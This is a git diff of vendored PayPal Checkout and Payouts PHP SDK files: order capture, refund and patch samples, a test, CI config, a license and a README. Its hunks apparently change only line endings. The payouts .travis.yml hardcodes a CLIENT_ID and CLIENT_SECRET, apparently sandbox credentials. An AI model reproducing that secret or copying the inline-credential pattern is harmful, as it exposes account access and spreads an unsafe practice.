b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/RunAll.php @@ -1,74 +1,74 @@ -statusCode == 201) -{ - $orderId = $order->result->id; - print "Links:\n"; - for ($i = 0; $i < count($order->result->links); ++$i) - { - $link = $order->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - print "Created Successfully\n"; - print "Copy approve link and paste it in browser. Login with buyer account and follow the instructions.\nOnce approved hit enter...\n"; -} -else { - exit(1); -} - -$handle = fopen ("php://stdin","r"); -$line = fgets($handle); -fclose($handle); - -print "Capturing Order...\n"; -$response = CaptureOrder::captureOrder($orderId); -if ($response->statusCode == 201) -{ - print "Captured Successfully\n"; - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Links:\n"; - for ($i = 0; $i < count($response->result->links); ++$i){ - $link = $response->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - foreach($response->result->purchase_units as $purchase_unit) - { - foreach($purchase_unit->payments->captures as $capture) - { - $captureId = $capture->id; - } - } -} -else { - exit(1); -} - -print "\nRefunding Order...\n"; -$response = RefundOrder::refundOrder($captureId); -if ($response->statusCode == 201) -{ - print "Refunded Successfully\n"; - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Refund ID: {$response->result->id}\n"; - print "Links:\n"; - for ($i = 0; $i < count($response->result->links); ++$i){ - $link = $response->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } -} -else { - exit(1); -} +statusCode == 201) +{ + $orderId = $order->result->id; + print "Links:\n"; + for ($i = 0; $i < count($order->result->links); ++$i) + { + $link = $order->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + print "Created Successfully\n"; + print "Copy approve link and paste it in browser. Login with buyer account and follow the instructions.\nOnce approved hit enter...\n"; +} +else { + exit(1); +} + +$handle = fopen ("php://stdin","r"); +$line = fgets($handle); +fclose($handle); + +print "Capturing Order...\n"; +$response = CaptureOrder::captureOrder($orderId); +if ($response->statusCode == 201) +{ + print "Captured Successfully\n"; + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Links:\n"; + for ($i = 0; $i < count($response->result->links); ++$i){ + $link = $response->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + foreach($response->result->purchase_units as $purchase_unit) + { + foreach($purchase_unit->payments->captures as $capture) + { + $captureId = $capture->id; + } + } +} +else { + exit(1); +} + +print "\nRefunding Order...\n"; +$response = RefundOrder::refundOrder($captureId); +if ($response->statusCode == 201) +{ + print "Refunded Successfully\n"; + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Refund ID: {$response->result->id}\n"; + print "Links:\n"; + for ($i = 0; $i < count($response->result->links); ++$i){ + $link = $response->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } +} +else { + exit(1); +} diff --git a/vendor/paypal/paypal-checkout-sdk/samples/ErrorSample.php b/vendor/paypal/paypal-checkout-sdk/samples/ErrorSample.php index ee6401b758..8daf96b5ea 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/ErrorSample.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/ErrorSample.php @@ -1,94 +1,94 @@ - $val) - { - $pretty .= $pre . ucfirst($key) .": "; - if (strcmp(gettype($val), "array") == 0){ - $pretty .= "\n"; - $sno = 1; - foreach ($val as $value) - { - $pretty .= $pre . "\t" . $sno++ . ":\n"; - $pretty .= self::prettyPrint($value, $pre . "\t\t"); - } - } - else { - $pretty .= $val . "\n"; - } - } - return $pretty; - } - - /** - * Body has no required parameters (intent, purchase_units) - */ - public static function createError1() - { - $request = new OrdersCreateRequest(); - $request->body = "{}"; - print "Request Body: {}\n\n"; - - print "Response:\n"; - try{ - $client = PayPalClient::client(); - $response = $client->execute($request); - } - catch(HttpException $exception){ - $message = json_decode($exception->getMessage(), true); - print "Status Code: {$exception->statusCode}\n"; - print(self::prettyPrint($message)); - } - } - - /** - * Body has invalid parameter value for intent - */ - public static function createError2() - { - $request = new OrdersCreateRequest(); - $request->body = array ( - 'intent' => 'INVALID', - 'purchase_units' => - array ( - 0 => - array ( - 'amount' => - array ( - 'currency_code' => 'USD', - 'value' => '100.00', - ), - ), - ), - ); - print "Request Body:\n" . json_encode($request->body, JSON_PRETTY_PRINT) . "\n\n"; - - try{ - $client = PayPalClient::client(); - $response = $client->execute($request); - } - catch(HttpException $exception){ - print "Response:\n"; - $message = json_decode($exception->getMessage(), true); - print "Status Code: {$exception->statusCode}\n"; - print(self::prettyPrint($message)); - } - - } -} - -print "Calling createError1 (Body has no required parameters (intent, purchase_units))\n"; -ErrorSample::createError1(); - -print "\n\nCalling createError2 (Body has invalid parameter value for intent)\n"; -ErrorSample::createError2(); + $val) + { + $pretty .= $pre . ucfirst($key) .": "; + if (strcmp(gettype($val), "array") == 0){ + $pretty .= "\n"; + $sno = 1; + foreach ($val as $value) + { + $pretty .= $pre . "\t" . $sno++ . ":\n"; + $pretty .= self::prettyPrint($value, $pre . "\t\t"); + } + } + else { + $pretty .= $val . "\n"; + } + } + return $pretty; + } + + /** + * Body has no required parameters (intent, purchase_units) + */ + public static function createError1() + { + $request = new OrdersCreateRequest(); + $request->body = "{}"; + print "Request Body: {}\n\n"; + + print "Response:\n"; + try{ + $client = PayPalClient::client(); + $response = $client->execute($request); + } + catch(HttpException $exception){ + $message = json_decode($exception->getMessage(), true); + print "Status Code: {$exception->statusCode}\n"; + print(self::prettyPrint($message)); + } + } + + /** + * Body has invalid parameter value for intent + */ + public static function createError2() + { + $request = new OrdersCreateRequest(); + $request->body = array ( + 'intent' => 'INVALID', + 'purchase_units' => + array ( + 0 => + array ( + 'amount' => + array ( + 'currency_code' => 'USD', + 'value' => '100.00', + ), + ), + ), + ); + print "Request Body:\n" . json_encode($request->body, JSON_PRETTY_PRINT) . "\n\n"; + + try{ + $client = PayPalClient::client(); + $response = $client->execute($request); + } + catch(HttpException $exception){ + print "Response:\n"; + $message = json_decode($exception->getMessage(), true); + print "Status Code: {$exception->statusCode}\n"; + print(self::prettyPrint($message)); + } + + } +} + +print "Calling createError1 (Body has no required parameters (intent, purchase_units))\n"; +ErrorSample::createError1(); + +print "\n\nCalling createError2 (Body has invalid parameter value for intent)\n"; +ErrorSample::createError2(); diff --git a/vendor/paypal/paypal-checkout-sdk/samples/GetOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/GetOrder.php index 7fefdbf4bb..f89ac9d56a 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/GetOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/GetOrder.php @@ -1,54 +1,54 @@ -execute(new OrdersGetRequest($orderId)); - /** - * Enable below line to print complete response as JSON. - */ - //print json_encode($response->result); - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Intent: {$response->result->intent}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - - print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; - - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } -} - -/** - * This is the driver function which invokes the getOrder function to retrieve - * an sample order. - * - * To get the correct Order id, we are using the createOrder to create new order - * and then we are using the newly created order id. - */ -if (!count(debug_backtrace())) -{ - $createdOrder = CreateOrder::createOrder()->result; - GetOrder::getOrder($createdOrder ->id); +execute(new OrdersGetRequest($orderId)); + /** + * Enable below line to print complete response as JSON. + */ + //print json_encode($response->result); + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Intent: {$response->result->intent}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + + print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; + + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } +} + +/** + * This is the driver function which invokes the getOrder function to retrieve + * an sample order. + * + * To get the correct Order id, we are using the createOrder to create new order + * and then we are using the newly created order id. + */ +if (!count(debug_backtrace())) +{ + $createdOrder = CreateOrder::createOrder()->result; + GetOrder::getOrder($createdOrder ->id); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/PatchOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/PatchOrder.php index e8f45b1e49..cba8152e6e 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/PatchOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/PatchOrder.php @@ -1,82 +1,82 @@ - - array ( - 'op' => 'replace', - 'path' => '/intent', - 'value' => 'CAPTURE', - ), - 1 => - array ( - 'op' => 'replace', - 'path' => '/purchase_units/@reference_id==\'PUHF\'/amount', - 'value' => - array ( - 'currency_code' => 'USD', - 'value' => '200.00', - 'breakdown' => - array ( - 'item_total' => - array ( - 'currency_code' => 'USD', - 'value' => '180.00', - ), - 'tax_total' => - array ( - 'currency_code' => 'USD', - 'value' => '20.00', - ), - ), - ), - ), - ); - } - - public static function patchOrder($orderId) - { - - $client = PayPalClient::client(); - - $request = new OrdersPatchRequest($orderId); - $request->body = PatchOrder::buildRequestBody(); - $client->execute($request); - - $response = $client->execute(new OrdersGetRequest($orderId)); - - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Intent: {$response->result->intent}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - - print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; - - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } -} - -if (!count(debug_backtrace())) -{ - print "Before PATCH:\n"; - $createdOrder = CreateOrder::createOrder(true)->result; - print "\nAfter PATCH (Changed Intent and Amount):\n"; - PatchOrder::patchOrder($createdOrder->id); + + array ( + 'op' => 'replace', + 'path' => '/intent', + 'value' => 'CAPTURE', + ), + 1 => + array ( + 'op' => 'replace', + 'path' => '/purchase_units/@reference_id==\'PUHF\'/amount', + 'value' => + array ( + 'currency_code' => 'USD', + 'value' => '200.00', + 'breakdown' => + array ( + 'item_total' => + array ( + 'currency_code' => 'USD', + 'value' => '180.00', + ), + 'tax_total' => + array ( + 'currency_code' => 'USD', + 'value' => '20.00', + ), + ), + ), + ), + ); + } + + public static function patchOrder($orderId) + { + + $client = PayPalClient::client(); + + $request = new OrdersPatchRequest($orderId); + $request->body = PatchOrder::buildRequestBody(); + $client->execute($request); + + $response = $client->execute(new OrdersGetRequest($orderId)); + + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Intent: {$response->result->intent}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + + print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; + + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } +} + +if (!count(debug_backtrace())) +{ + print "Before PATCH:\n"; + $createdOrder = CreateOrder::createOrder(true)->result; + print "\nAfter PATCH (Changed Intent and Amount):\n"; + PatchOrder::patchOrder($createdOrder->id); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/PayPalClient.php b/vendor/paypal/paypal-checkout-sdk/samples/PayPalClient.php index c0bfebfac6..397b8d2d85 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/PayPalClient.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/PayPalClient.php @@ -1,35 +1,35 @@ ->"; - $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; - return new SandboxEnvironment($clientId, $clientSecret); - } -} +>"; + $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; + return new SandboxEnvironment($clientId, $clientSecret); + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/samples/RefundOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/RefundOrder.php index 2968189f0f..fc9428fd5e 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/RefundOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/RefundOrder.php @@ -1,60 +1,60 @@ - - array( - 'value' => '20.00', - 'currency_code' => 'USD' - ) - ); - } - - /** - * This function can be used to preform refund on the capture. - */ - public static function refundOrder($captureId, $debug=false) - { - $request = new CapturesRefundRequest($captureId); - $request->body = self::buildRequestBody(); - $client = PayPalClient::client(); - $response = $client->execute($request); - - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } -} - -/** - * This is the driver function which invokes the refund capture function with - * Capture Id to perform refund on capture. - */ -if (!count(debug_backtrace())) -{ - RefundOrder::refundOrder('8XL09935J2224701N', true); -} + + array( + 'value' => '20.00', + 'currency_code' => 'USD' + ) + ); + } + + /** + * This function can be used to preform refund on the capture. + */ + public static function refundOrder($captureId, $debug=false) + { + $request = new CapturesRefundRequest($captureId); + $request->body = self::buildRequestBody(); + $client = PayPalClient::client(); + $response = $client->execute($request); + + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } +} + +/** + * This is the driver function which invokes the refund capture function with + * Capture Id to perform refund on capture. + */ +if (!count(debug_backtrace())) +{ + RefundOrder::refundOrder('8XL09935J2224701N', true); +} diff --git a/vendor/paypal/paypal-checkout-sdk/tests/Orders/OrdersAuthorizeTest.php b/vendor/paypal/paypal-checkout-sdk/tests/Orders/OrdersAuthorizeTest.php index 3814853224..981ce26569 100644 --- a/vendor/paypal/paypal-checkout-sdk/tests/Orders/OrdersAuthorizeTest.php +++ b/vendor/paypal/paypal-checkout-sdk/tests/Orders/OrdersAuthorizeTest.php @@ -1,26 +1,26 @@ -markTestSkipped("Need an approved Order ID to execute this test."); - $request = new OrdersAuthorizeRequest('ORDER-ID'); - $request->body = $this->buildRequestBody(); - - $client = TestHarness::client(); - $response = $client->execute($request); - $this->assertEquals(201, $response->statusCode); - $this->assertNotNull($response->result); - } -} +markTestSkipped("Need an approved Order ID to execute this test."); + $request = new OrdersAuthorizeRequest('ORDER-ID'); + $request->body = $this->buildRequestBody(); + + $client = TestHarness::client(); + $response = $client->execute($request); + $this->assertEquals(201, $response->statusCode); + $this->assertNotNull($response->result); + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/.travis.yml b/vendor/paypal/paypal-payouts-sdk/.travis.yml index 57f3a90568..5a34c24f43 100644 --- a/vendor/paypal/paypal-payouts-sdk/.travis.yml +++ b/vendor/paypal/paypal-payouts-sdk/.travis.yml @@ -1,14 +1,14 @@ -sudo: required -dist: trusty -language: php -php: -- 5.6 -- 7.0 -- 7.1 -- 7.2 -- 7.3 -before_script: -- composer self-update -- composer install -script: -- CLIENT_ID=AdV4d6nLHabWLyemrw4BKdO9LjcnioNIOgoz7vD611ObbDUL0kJQfzrdhXEBwnH8QmV-7XZjvjRWn0kg CLIENT_SECRET=EPKoPC_haZMTq5uM9WXuzoxUVdgzVqHyD5avCyVC1NCIUJeVaNNUZMnzduYIqrdw-carG9LBAizFGMyK composer unit +sudo: required +dist: trusty +language: php +php: +- 5.6 +- 7.0 +- 7.1 +- 7.2 +- 7.3 +before_script: +- composer self-update +- composer install +script: +- CLIENT_ID=AdV4d6nLHabWLyemrw4BKdO9LjcnioNIOgoz7vD611ObbDUL0kJQfzrdhXEBwnH8QmV-7XZjvjRWn0kg CLIENT_SECRET=EPKoPC_haZMTq5uM9WXuzoxUVdgzVqHyD5avCyVC1NCIUJeVaNNUZMnzduYIqrdw-carG9LBAizFGMyK composer unit diff --git a/vendor/paypal/paypal-payouts-sdk/LICENSE b/vendor/paypal/paypal-payouts-sdk/LICENSE index 83e2759d89..7d9fb855c7 100644 --- a/vendor/paypal/paypal-payouts-sdk/LICENSE +++ b/vendor/paypal/paypal-payouts-sdk/LICENSE @@ -1,86 +1,86 @@ -The PayPal PHP SDK is released under the following license: - - Copyright (c) 2013-2020 PAYPAL, INC. - - SDK LICENSE - - NOTICE TO USER: PayPal, Inc. is providing the Software and Documentation for use under the terms of - this Agreement. Any use, reproduction, modification or distribution of the Software or Documentation, - or any derivatives or portions hereof, constitutes your acceptance of this Agreement. - - As used in this Agreement, "PayPal" means PayPal, Inc. "Software" means the software code accompanying - this agreement. "Documentation" means the documents, specifications and all other items accompanying - this Agreement other than the Software. - - 1. LICENSE GRANT Subject to the terms of this Agreement, PayPal hereby grants you a non-exclusive, - worldwide, royalty free license to use, reproduce, prepare derivative works from, publicly display, - publicly perform, distribute and sublicense the Software for any purpose, provided the copyright notice - below appears in a conspicuous location within the source code of the distributed Software and this - license is distributed in the supporting documentation of the Software you distribute. Furthermore, - you must comply with all third party licenses in order to use the third party software contained in the - Software. - - Subject to the terms of this Agreement, PayPal hereby grants you a non-exclusive, worldwide, royalty free - license to use, reproduce, publicly display, publicly perform, distribute and sublicense the Documentation - for any purpose. You may not modify the Documentation. - - No title to the intellectual property in the Software or Documentation is transferred to you under the - terms of this Agreement. You do not acquire any rights to the Software or the Documentation except as - expressly set forth in this Agreement. - - If you choose to distribute the Software in a commercial product, you do so with the understanding that - you agree to defend, indemnify and hold harmless PayPal and its suppliers against any losses, damages and - costs arising from the claims, lawsuits or other legal actions arising out of such distribution. You may - distribute the Software in object code form under your own license, provided that your license agreement: - - (a) complies with the terms and conditions of this license agreement; - - (b) effectively disclaims all warranties and conditions, express or implied, on behalf of PayPal; - - (c) effectively excludes all liability for damages on behalf of PayPal; - - (d) states that any provisions that differ from this Agreement are offered by you alone and not PayPal; and - - (e) states that the Software is available from you or PayPal and informs licensees how to obtain it in a - reasonable manner on or through a medium customarily used for software exchange. - - 2. DISCLAIMER OF WARRANTY - PAYPAL LICENSES THE SOFTWARE AND DOCUMENTATION TO YOU ONLY ON AN "AS IS" BASIS WITHOUT WARRANTIES OR CONDITIONS - OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, - NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. PAYPAL MAKES NO WARRANTY THAT THE - SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. Each user of the Software or Documentation is solely responsible - for determining the appropriateness of using and distributing the Software and Documentation and assumes all - risks associated with its exercise of rights under this Agreement, including but not limited to the risks and - costs of program errors, compliance with applicable laws, damage to or loss of data, programs, or equipment, - and unavailability or interruption of operations. Use of the Software and Documentation is made with the - understanding that PayPal will not provide you with any technical or customer support or maintenance. Some - states or jurisdictions do not allow the exclusion of implied warranties or limitations on how long an implied - warranty may last, so the above limitations may not apply to you. To the extent permissible, any implied - warranties are limited to ninety (90) days. - - - 3. LIMITATION OF LIABILITY - PAYPAL AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF THIS AGREEMENT OR FROM THE USE - OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT WILL PAYPAL OR ITS SUPPLIERS BE LIABLE TO YOU OR ANY THIRD PARTY - FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST SAVINGS, - COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF THIS AGREEMENT OR THE USE OR THE INABILITY - TO USE THE SOFTWARE OR DOCUMENTATION, HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, - STRICT LIABILITY OR TORT INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - PAYPAL'S AGGREGATE LIABILITY AND THAT OF ITS SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE - LIMITED TO THE AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION. - - 4. TRADEMARK USAGE - PayPal is a trademark PayPal, Inc. in the United States and other countries. Such trademarks may not be used - to endorse or promote any product unless expressly permitted under separate agreement with PayPal. - - 5. TERM - Your rights under this Agreement shall terminate if you fail to comply with any of the material terms or - conditions of this Agreement and do not cure such failure in a reasonable period of time after becoming - aware of such noncompliance. If all your rights under this Agreement terminate, you agree to cease use - and distribution of the Software and Documentation as soon as reasonably practicable. - - 6. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes and laws of the State of - California, without regard to the conflicts of law principles thereof. If any part of this Agreement is - found void and unenforceable, it will not affect the validity of the balance of the Agreement, which shall - remain valid and enforceable according to its terms. Any dispute arising out of or related to this Agreement +The PayPal PHP SDK is released under the following license: + + Copyright (c) 2013-2020 PAYPAL, INC. + + SDK LICENSE + + NOTICE TO USER: PayPal, Inc. is providing the Software and Documentation for use under the terms of + this Agreement. Any use, reproduction, modification or distribution of the Software or Documentation, + or any derivatives or portions hereof, constitutes your acceptance of this Agreement. + + As used in this Agreement, "PayPal" means PayPal, Inc. "Software" means the software code accompanying + this agreement. "Documentation" means the documents, specifications and all other items accompanying + this Agreement other than the Software. + + 1. LICENSE GRANT Subject to the terms of this Agreement, PayPal hereby grants you a non-exclusive, + worldwide, royalty free license to use, reproduce, prepare derivative works from, publicly display, + publicly perform, distribute and sublicense the Software for any purpose, provided the copyright notice + below appears in a conspicuous location within the source code of the distributed Software and this + license is distributed in the supporting documentation of the Software you distribute. Furthermore, + you must comply with all third party licenses in order to use the third party software contained in the + Software. + + Subject to the terms of this Agreement, PayPal hereby grants you a non-exclusive, worldwide, royalty free + license to use, reproduce, publicly display, publicly perform, distribute and sublicense the Documentation + for any purpose. You may not modify the Documentation. + + No title to the intellectual property in the Software or Documentation is transferred to you under the + terms of this Agreement. You do not acquire any rights to the Software or the Documentation except as + expressly set forth in this Agreement. + + If you choose to distribute the Software in a commercial product, you do so with the understanding that + you agree to defend, indemnify and hold harmless PayPal and its suppliers against any losses, damages and + costs arising from the claims, lawsuits or other legal actions arising out of such distribution. You may + distribute the Software in object code form under your own license, provided that your license agreement: + + (a) complies with the terms and conditions of this license agreement; + + (b) effectively disclaims all warranties and conditions, express or implied, on behalf of PayPal; + + (c) effectively excludes all liability for damages on behalf of PayPal; + + (d) states that any provisions that differ from this Agreement are offered by you alone and not PayPal; and + + (e) states that the Software is available from you or PayPal and informs licensees how to obtain it in a + reasonable manner on or through a medium customarily used for software exchange. + + 2. DISCLAIMER OF WARRANTY + PAYPAL LICENSES THE SOFTWARE AND DOCUMENTATION TO YOU ONLY ON AN "AS IS" BASIS WITHOUT WARRANTIES OR CONDITIONS + OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, + NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. PAYPAL MAKES NO WARRANTY THAT THE + SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. Each user of the Software or Documentation is solely responsible + for determining the appropriateness of using and distributing the Software and Documentation and assumes all + risks associated with its exercise of rights under this Agreement, including but not limited to the risks and + costs of program errors, compliance with applicable laws, damage to or loss of data, programs, or equipment, + and unavailability or interruption of operations. Use of the Software and Documentation is made with the + understanding that PayPal will not provide you with any technical or customer support or maintenance. Some + states or jurisdictions do not allow the exclusion of implied warranties or limitations on how long an implied + warranty may last, so the above limitations may not apply to you. To the extent permissible, any implied + warranties are limited to ninety (90) days. + + + 3. LIMITATION OF LIABILITY + PAYPAL AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF THIS AGREEMENT OR FROM THE USE + OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT WILL PAYPAL OR ITS SUPPLIERS BE LIABLE TO YOU OR ANY THIRD PARTY + FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST SAVINGS, + COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF THIS AGREEMENT OR THE USE OR THE INABILITY + TO USE THE SOFTWARE OR DOCUMENTATION, HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY OR TORT INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + PAYPAL'S AGGREGATE LIABILITY AND THAT OF ITS SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE + LIMITED TO THE AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION. + + 4. TRADEMARK USAGE + PayPal is a trademark PayPal, Inc. in the United States and other countries. Such trademarks may not be used + to endorse or promote any product unless expressly permitted under separate agreement with PayPal. + + 5. TERM + Your rights under this Agreement shall terminate if you fail to comply with any of the material terms or + conditions of this Agreement and do not cure such failure in a reasonable period of time after becoming + aware of such noncompliance. If all your rights under this Agreement terminate, you agree to cease use + and distribution of the Software and Documentation as soon as reasonably practicable. + + 6. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes and laws of the State of + California, without regard to the conflicts of law principles thereof. If any part of this Agreement is + found void and unenforceable, it will not affect the validity of the balance of the Agreement, which shall + remain valid and enforceable according to its terms. Any dispute arising out of or related to this Agreement shall be brought in the courts of Santa Clara County, California, USA. \ No newline at end of file diff --git a/vendor/paypal/paypal-payouts-sdk/README.md b/vendor/paypal/paypal-payouts-sdk/README.md index dc9b98f498..80ee1bed49 100644 --- a/vendor/paypal/paypal-payouts-sdk/README.md +++ b/vendor/paypal/paypal-payouts-sdk/README.md @@ -1,124 +1,124 @@ -# PayPal Payouts PHP SDK v2 - -![Home Image](homepage.jpg) - -__Welcome to PayPal Payouts__. This repository contains PayPal's PHP SDK for Payouts and samples for [v1/payments/payouts](https://developer.paypal.com/docs/api/payments.payouts-batch/v1/) APIs. - -This is a part of the next major PayPal SDK. It includes a simplified interface to only provide simple model objects and blueprints for HTTP calls. This repo currently contains functionality for PayPal Payouts APIs which includes [Payouts](https://developer.paypal.com/docs/api/payments.payouts-batch/v1/). - -Please refer to the [PayPal Payouts Integration Guide](https://developer.paypal.com/docs/payouts/) for more information. Also refer to [Setup your SDK](https://developer.paypal.com/docs/payouts/reference/setup-sdk) for additional information about setting up the SDK's. - -## Prerequisites - -PHP 5.6 and above - -An environment which supports TLS 1.2 (see the TLS-update site for more information) - -## Usage -### Binaries - -It is not necessary to fork this repository for using the PayPal SDK. Please take a look at [PayPal Payouts Server SDK](https://developer.paypal.com/docs/payouts/reference/setup-sdk/#install-the-sdk) for configuring and working with SDK without forking this code. - -For contributing to this repository or using the samples you can fork this repository. - -### Setting up credentials - -Get client ID and client secret by going to https://developer.paypal.com/developer/applications and generating a REST API app. Get Client ID and Secret from there. - -```PHP -require __DIR__ . '/vendor/autoload.php'; -use PaypalPayoutsSDK\Core\PayPalHttpClient; -use PaypalPayoutsSDK\Core\SandboxEnvironment; -// Creating an environment -$clientId = "<>"; -$clientSecret = "<>"; - -$environment = new SandboxEnvironment($clientId, $clientSecret); -$client = new PayPalHttpClient($environment); -``` - -## Examples -### Creating a Payout -This will create a Payout and print batch id for the created Payouts - -```PHP -use PaypalPayoutsSDK\Payouts\PayoutsPostRequest; -$request = new PayoutsPostRequest(); -$body= json_decode( - '{ - "sender_batch_header": - { - "email_subject": "SDK payouts test txn" - }, - "items": [ - { - "recipient_type": "EMAIL", - "receiver": "payouts2342@paypal.com", - "note": "Your 1$ payout", - "sender_item_id": "Test_txn_12", - "amount": - { - "currency": "USD", - "value": "1.00" - } - }] - }', - true); -$request->body = $body; -$client = PayPalClient::client(); -$response = $client->execute($request); -print "Status Code: {$response->statusCode}\n"; -print "Status: {$response->result->batch_header->batch_status}\n"; -print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; -print "Links:\n"; -foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } -echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - -``` - -### Retrieve a Payouts Batch -This will retrieve a payouts batch -```PHP - $request = new PayoutsGetRequest($batchId); - $response = $client->execute($request); - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; -``` - -### Parsing Failure Response -This will execute a Get request to simulate a failure -```PHP - try{ - $request = new PayoutsGetRequest(null); - $response = $client->execute($request); - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } catch(HttpException $e){ - echo 